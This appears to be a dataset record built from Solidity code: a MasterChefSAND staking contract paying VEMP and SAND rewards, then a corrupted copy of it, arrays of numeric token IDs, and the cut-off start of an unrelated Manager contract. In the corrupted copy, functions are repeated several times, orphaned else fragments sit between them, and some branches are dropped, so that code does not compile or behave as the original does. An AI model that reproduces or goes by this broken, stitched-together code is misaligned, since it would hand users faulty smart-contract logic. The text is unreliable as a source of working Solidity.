abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // MasterChef is the master of VEMP. He can make VEMP and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once VEMP is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChefSAND is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. uint256 rewardSANDDebt; // Reward debt in SAND. // // We do some fancy math here. Basically, any point in time, the amount of VEMPs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accVEMPPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accVEMPPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. VEMPs to distribute per block. uint256 lastRewardBlock; // Last block number that VEMPs distribution occurs. uint256 accVEMPPerShare; // Accumulated VEMPs per share, times 1e12. See below. uint256 accSANDPerShare; // Accumulated SANDs per share, times 1e12. See below. uint256 lastTotalSANDReward; // last total rewards uint256 lastSANDRewardBalance; // last SAND rewards tokens uint256 totalSANDReward; // total SAND rewards tokens } // The VEMP TOKEN! IERC20 public VEMP; // admin address. address public adminaddr; // VEMP tokens created per block. uint256 public VEMPPerBlock; // Bonus muliplier for early VEMP makers. uint256 public constant BONUS_MULTIPLIER = 1; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when VEMP mining starts. uint256 public startBlock; // total SAND staked uint256 public totalSANDStaked; // total SAND used for purchase land uint256 public totalSANDUsedForPurchase = 0; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( IERC20 _VEMP, address _adminaddr, uint256 _VEMPPerBlock, uint256 _startBlock ) public { VEMP = _VEMP; adminaddr = _adminaddr; VEMPPerBlock = _VEMPPerBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accVEMPPerShare: 0, accSANDPerShare: 0, lastTotalSANDReward: 0, lastSANDRewardBalance: 0, totalSANDReward: 0 })); } // Update the given pool's VEMP allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { if (_to >= _from) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else { return _from.sub(_to); } } // View function to see pending VEMPs on frontend. function pendingVEMP(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accVEMPPerShare = pool.accVEMPPerShare; uint256 lpSupply = totalSANDStaked; if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 VEMPReward = multiplier.mul(VEMPPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accVEMPPerShare = accVEMPPerShare.add(VEMPReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accVEMPPerShare).div(1e12).sub(user.rewardDebt); } // View function to see pending SANDs on frontend. function pendingSAND(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSANDPerShare = pool.accSANDPerShare; uint256 lpSupply = totalSANDStaked; if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 rewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); uint256 _totalReward = rewardBalance.sub(pool.lastSANDRewardBalance); accSANDPerShare = accSANDPerShare.add(_totalReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSANDPerShare).div(1e12).sub(user.rewardSANDDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (block.number <= pool.lastRewardBlock) { return; } uint256 rewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); uint256 _totalReward = pool.totalSANDReward.add(rewardBalance.sub(pool.lastSANDRewardBalance)); pool.lastSANDRewardBalance = rewardBalance; pool.totalSANDReward = _totalReward; uint256 lpSupply = totalSANDStaked; if (lpSupply == 0) { pool.lastRewardBlock = block.number; pool.accSANDPerShare = 0; pool.lastTotalSANDReward = 0; user.rewardSANDDebt = 0; pool.lastSANDRewardBalance = 0; pool.totalSANDReward = 0; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 VEMPReward = multiplier.mul(VEMPPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accVEMPPerShare = pool.accVEMPPerShare.add(VEMPReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; uint256 reward = _totalReward.sub(pool.lastTotalSANDReward); pool.accSANDPerShare = pool.accSANDPerShare.add(reward.mul(1e12).div(lpSupply)); pool.lastTotalSANDReward = _totalReward; } // Deposit LP tokens to MasterChef for VEMP allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accVEMPPerShare).div(1e12).sub(user.rewardDebt); safeVEMPTransfer(msg.sender, pending); uint256 SANDReward = user.amount.mul(pool.accSANDPerShare).div(1e12).sub(user.rewardSANDDebt); pool.lpToken.safeTransfer(msg.sender, SANDReward); pool.lastSANDRewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); totalSANDStaked = totalSANDStaked.add(_amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accVEMPPerShare).div(1e12); user.rewardSANDDebt = user.amount.mul(pool.accSANDPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Earn SAND tokens to MasterChef. function claimSAND(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 SANDReward = user.amount.mul(pool.accSANDPerShare).div(1e12).sub(user.rewardSANDDebt); pool.lpToken.safeTransfer(msg.sender, SANDReward); pool.lastSANDRewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); user.rewardSANDDebt = user.amount.mul(pool.accSANDPerShare).div(1e12); } // Safe VEMP transfer function, just in case if rounding error causes pool to not have enough VEMPs. function safeVEMPTransfer(address _to, uint256 _amount) internal { uint256 VEMPBal = VEMP.balanceOf(address(this)); if (_amount > VEMPBal) { VEMP.transfer(_to, VEMPBal); } else { VEMP.transfer(_to, _amount); } } // Safe SAND transfer function to admin. function accessSANDTokens(uint256 _pid, address _to, uint256 _amount) public { require(msg.sender == adminaddr, "sender must be admin address"); require(totalSANDStaked.sub(totalSANDUsedForPurchase) >= _amount, "Amount must be less than staked SAND amount"); PoolInfo storage pool = poolInfo[_pid]; uint256 SANDBal = pool.lpToken.balanceOf(address(this)); if (_amount > SANDBal) { pool.lpToken.transfer(_to, SANDBal); totalSANDUsedForPurchase = totalSANDUsedForPurchase.add(SANDBal); } else { pool.lpToken.transfer(_to, _amount); totalSANDUsedForPurchase = totalSANDUsedForPurchase.add(_amount); } } // Update Reward per block function updateRewardPerBlock(uint256 _newRewardPerBlock) public onlyOwner { massUpdatePools(); VEMPPerBlock = _newRewardPerBlock; } // Update admin address by the previous admin. function admin(address _adminaddr) public { require(msg.sender == adminaddr, "admin: wut?"); adminaddr = _adminaddr; } }
MasterChef is the master of VEMP. He can make VEMP and he is a fair guy. Note that it's ownable and the owner wields tremendous power. The ownership will be transferred to a governance smart contract once VEMP is sufficiently distributed and the community can show to govern itself. Have fun reading it. Hopefully it's bug-free. God bless. Info of each user.
contract MasterChefSAND is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { } struct PoolInfo { } event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( IERC20 _VEMP, address _adminaddr, uint256 _VEMPPerBlock, uint256 _startBlock IERC20 public VEMP; address public adminaddr; uint256 public VEMPPerBlock; uint256 public constant BONUS_MULTIPLIER = 1; PoolInfo[] public poolInfo; mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public totalAllocPoint = 0; uint256 public startBlock; uint256 public totalSANDStaked; uint256 public totalSANDUsedForPurchase = 0; ) public { VEMP = _VEMP; adminaddr = _adminaddr; VEMPPerBlock = _VEMPPerBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accVEMPPerShare: 0, accSANDPerShare: 0, lastTotalSANDReward: 0, lastSANDRewardBalance: 0, totalSANDReward: 0 })); } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accVEMPPerShare: 0, accSANDPerShare: 0, lastTotalSANDReward: 0, lastSANDRewardBalance: 0, totalSANDReward: 0 })); } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accVEMPPerShare: 0, accSANDPerShare: 0, lastTotalSANDReward: 0, lastSANDRewardBalance: 0, totalSANDReward: 0 })); } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { if (_to >= _from) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _from.sub(_to); } } function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { if (_to >= _from) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _from.sub(_to); } } } else { function pendingVEMP(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accVEMPPerShare = pool.accVEMPPerShare; uint256 lpSupply = totalSANDStaked; if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 VEMPReward = multiplier.mul(VEMPPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accVEMPPerShare = accVEMPPerShare.add(VEMPReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accVEMPPerShare).div(1e12).sub(user.rewardDebt); } function pendingVEMP(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accVEMPPerShare = pool.accVEMPPerShare; uint256 lpSupply = totalSANDStaked; if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 VEMPReward = multiplier.mul(VEMPPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accVEMPPerShare = accVEMPPerShare.add(VEMPReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accVEMPPerShare).div(1e12).sub(user.rewardDebt); } function pendingSAND(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSANDPerShare = pool.accSANDPerShare; uint256 lpSupply = totalSANDStaked; if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 rewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); uint256 _totalReward = rewardBalance.sub(pool.lastSANDRewardBalance); accSANDPerShare = accSANDPerShare.add(_totalReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSANDPerShare).div(1e12).sub(user.rewardSANDDebt); } function pendingSAND(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSANDPerShare = pool.accSANDPerShare; uint256 lpSupply = totalSANDStaked; if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 rewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); uint256 _totalReward = rewardBalance.sub(pool.lastSANDRewardBalance); accSANDPerShare = accSANDPerShare.add(_totalReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSANDPerShare).div(1e12).sub(user.rewardSANDDebt); } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (block.number <= pool.lastRewardBlock) { return; } uint256 rewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); uint256 _totalReward = pool.totalSANDReward.add(rewardBalance.sub(pool.lastSANDRewardBalance)); pool.lastSANDRewardBalance = rewardBalance; pool.totalSANDReward = _totalReward; uint256 lpSupply = totalSANDStaked; if (lpSupply == 0) { pool.lastRewardBlock = block.number; pool.accSANDPerShare = 0; pool.lastTotalSANDReward = 0; user.rewardSANDDebt = 0; pool.lastSANDRewardBalance = 0; pool.totalSANDReward = 0; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 VEMPReward = multiplier.mul(VEMPPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accVEMPPerShare = pool.accVEMPPerShare.add(VEMPReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; uint256 reward = _totalReward.sub(pool.lastTotalSANDReward); pool.accSANDPerShare = pool.accSANDPerShare.add(reward.mul(1e12).div(lpSupply)); pool.lastTotalSANDReward = _totalReward; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (block.number <= pool.lastRewardBlock) { return; } uint256 rewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); uint256 _totalReward = pool.totalSANDReward.add(rewardBalance.sub(pool.lastSANDRewardBalance)); pool.lastSANDRewardBalance = rewardBalance; pool.totalSANDReward = _totalReward; uint256 lpSupply = totalSANDStaked; if (lpSupply == 0) { pool.lastRewardBlock = block.number; pool.accSANDPerShare = 0; pool.lastTotalSANDReward = 0; user.rewardSANDDebt = 0; pool.lastSANDRewardBalance = 0; pool.totalSANDReward = 0; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 VEMPReward = multiplier.mul(VEMPPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accVEMPPerShare = pool.accVEMPPerShare.add(VEMPReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; uint256 reward = _totalReward.sub(pool.lastTotalSANDReward); pool.accSANDPerShare = pool.accSANDPerShare.add(reward.mul(1e12).div(lpSupply)); pool.lastTotalSANDReward = _totalReward; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (block.number <= pool.lastRewardBlock) { return; } uint256 rewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); uint256 _totalReward = pool.totalSANDReward.add(rewardBalance.sub(pool.lastSANDRewardBalance)); pool.lastSANDRewardBalance = rewardBalance; pool.totalSANDReward = _totalReward; uint256 lpSupply = totalSANDStaked; if (lpSupply == 0) { pool.lastRewardBlock = block.number; pool.accSANDPerShare = 0; pool.lastTotalSANDReward = 0; user.rewardSANDDebt = 0; pool.lastSANDRewardBalance = 0; pool.totalSANDReward = 0; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 VEMPReward = multiplier.mul(VEMPPerBlock).mul(pool.allocPoint).div(totalAllocPoint); pool.accVEMPPerShare = pool.accVEMPPerShare.add(VEMPReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; uint256 reward = _totalReward.sub(pool.lastTotalSANDReward); pool.accSANDPerShare = pool.accSANDPerShare.add(reward.mul(1e12).div(lpSupply)); pool.lastTotalSANDReward = _totalReward; } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accVEMPPerShare).div(1e12).sub(user.rewardDebt); safeVEMPTransfer(msg.sender, pending); uint256 SANDReward = user.amount.mul(pool.accSANDPerShare).div(1e12).sub(user.rewardSANDDebt); pool.lpToken.safeTransfer(msg.sender, SANDReward); pool.lastSANDRewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); totalSANDStaked = totalSANDStaked.add(_amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accVEMPPerShare).div(1e12); user.rewardSANDDebt = user.amount.mul(pool.accSANDPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accVEMPPerShare).div(1e12).sub(user.rewardDebt); safeVEMPTransfer(msg.sender, pending); uint256 SANDReward = user.amount.mul(pool.accSANDPerShare).div(1e12).sub(user.rewardSANDDebt); pool.lpToken.safeTransfer(msg.sender, SANDReward); pool.lastSANDRewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); totalSANDStaked = totalSANDStaked.add(_amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accVEMPPerShare).div(1e12); user.rewardSANDDebt = user.amount.mul(pool.accSANDPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function claimSAND(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 SANDReward = user.amount.mul(pool.accSANDPerShare).div(1e12).sub(user.rewardSANDDebt); pool.lpToken.safeTransfer(msg.sender, SANDReward); pool.lastSANDRewardBalance = pool.lpToken.balanceOf(address(this)).sub(totalSANDStaked.sub(totalSANDUsedForPurchase)); user.rewardSANDDebt = user.amount.mul(pool.accSANDPerShare).div(1e12); } function safeVEMPTransfer(address _to, uint256 _amount) internal { uint256 VEMPBal = VEMP.balanceOf(address(this)); if (_amount > VEMPBal) { VEMP.transfer(_to, VEMPBal); VEMP.transfer(_to, _amount); } } function safeVEMPTransfer(address _to, uint256 _amount) internal { uint256 VEMPBal = VEMP.balanceOf(address(this)); if (_amount > VEMPBal) { VEMP.transfer(_to, VEMPBal); VEMP.transfer(_to, _amount); } } } else { function accessSANDTokens(uint256 _pid, address _to, uint256 _amount) public { require(msg.sender == adminaddr, "sender must be admin address"); require(totalSANDStaked.sub(totalSANDUsedForPurchase) >= _amount, "Amount must be less than staked SAND amount"); PoolInfo storage pool = poolInfo[_pid]; uint256 SANDBal = pool.lpToken.balanceOf(address(this)); if (_amount > SANDBal) { pool.lpToken.transfer(_to, SANDBal); totalSANDUsedForPurchase = totalSANDUsedForPurchase.add(SANDBal); pool.lpToken.transfer(_to, _amount); totalSANDUsedForPurchase = totalSANDUsedForPurchase.add(_amount); } } function accessSANDTokens(uint256 _pid, address _to, uint256 _amount) public { require(msg.sender == adminaddr, "sender must be admin address"); require(totalSANDStaked.sub(totalSANDUsedForPurchase) >= _amount, "Amount must be less than staked SAND amount"); PoolInfo storage pool = poolInfo[_pid]; uint256 SANDBal = pool.lpToken.balanceOf(address(this)); if (_amount > SANDBal) { pool.lpToken.transfer(_to, SANDBal); totalSANDUsedForPurchase = totalSANDUsedForPurchase.add(SANDBal); pool.lpToken.transfer(_to, _amount); totalSANDUsedForPurchase = totalSANDUsedForPurchase.add(_amount); } } } else { function updateRewardPerBlock(uint256 _newRewardPerBlock) public onlyOwner { massUpdatePools(); VEMPPerBlock = _newRewardPerBlock; } function admin(address _adminaddr) public { require(msg.sender == adminaddr, "admin: wut?"); adminaddr = _adminaddr; } }
6,737,826
[ 1, 7786, 39, 580, 74, 353, 326, 4171, 434, 776, 3375, 52, 18, 8264, 848, 1221, 776, 3375, 52, 471, 3904, 353, 279, 284, 1826, 3058, 93, 18, 3609, 716, 518, 1807, 4953, 429, 471, 326, 3410, 341, 491, 87, 268, 2764, 409, 1481, 7212, 18, 1021, 23178, 903, 506, 906, 4193, 358, 279, 314, 1643, 82, 1359, 13706, 6835, 3647, 776, 3375, 52, 353, 18662, 715, 16859, 471, 326, 19833, 848, 2405, 358, 314, 1643, 82, 6174, 18, 21940, 9831, 6453, 518, 18, 670, 1306, 4095, 518, 1807, 7934, 17, 9156, 18, 611, 369, 324, 2656, 18, 3807, 434, 1517, 729, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 13453, 39, 580, 74, 55, 4307, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 565, 1958, 25003, 288, 203, 565, 289, 203, 203, 565, 1958, 8828, 966, 288, 203, 565, 289, 203, 203, 203, 203, 565, 871, 4019, 538, 305, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 3423, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 512, 6592, 75, 2075, 1190, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 203, 565, 3885, 12, 203, 3639, 467, 654, 39, 3462, 389, 58, 3375, 52, 16, 203, 3639, 1758, 389, 3666, 4793, 16, 203, 3639, 2254, 5034, 389, 58, 3375, 52, 2173, 1768, 16, 203, 3639, 2254, 5034, 389, 1937, 1768, 203, 565, 467, 654, 39, 3462, 1071, 776, 3375, 52, 31, 203, 565, 1758, 1071, 3981, 4793, 31, 203, 565, 2254, 5034, 1071, 776, 3375, 52, 2173, 1768, 31, 203, 565, 2254, 5034, 1071, 5381, 605, 673, 3378, 67, 24683, 2053, 654, 273, 404, 31, 203, 565, 8828, 966, 8526, 1071, 2845, 966, 31, 203, 565, 2874, 261, 11890, 5034, 516, 2874, 261, 2867, 516, 25003, 3719, 1071, 16753, 31, 203, 565, 2254, 5034, 1071, 2078, 8763, 2148, 273, 374, 31, 203, 565, 2254, 5034, 1071, 787, 1768, 31, 203, 565, 2254, 5034, 1071, 2078, 55, 2 ]
// SPDX-License-Identifier: MIT // solhint-disable max-states-count // solhint-disable var-name-mixedcase pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IController.sol"; import "./interfaces/IConverter.sol"; import "./interfaces/IHarvester.sol"; import "./interfaces/IManager.sol"; import "./interfaces/IStrategy.sol"; import "./interfaces/IVault.sol"; /** * @title Manager * @notice This contract serves as the central point for governance-voted * variables. Fees and permissioned addresses are stored and referenced in * this contract only. */ contract Manager is IManager { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public constant PENDING_STRATEGIST_TIMELOCK = 7 days; uint256 public constant MAX_TOKENS = 256; address public immutable override yaxis; bool public override halted; address public override governance; address public override harvester; address public override insurancePool; address public override stakingPool; address public override strategist; address public override pendingStrategist; address public override treasury; // The following fees are all mutable. // They are updated by governance (community vote). uint256 public override insuranceFee; uint256 public override insurancePoolFee; uint256 public override stakingPoolShareFee; uint256 public override treasuryFee; uint256 public override withdrawalProtectionFee; uint256 private setPendingStrategistTime; // Governance must first allow the following properties before // the strategist can make use of them mapping(address => bool) public override allowedControllers; mapping(address => bool) public override allowedConverters; mapping(address => bool) public override allowedStrategies; mapping(address => bool) public override allowedVaults; // 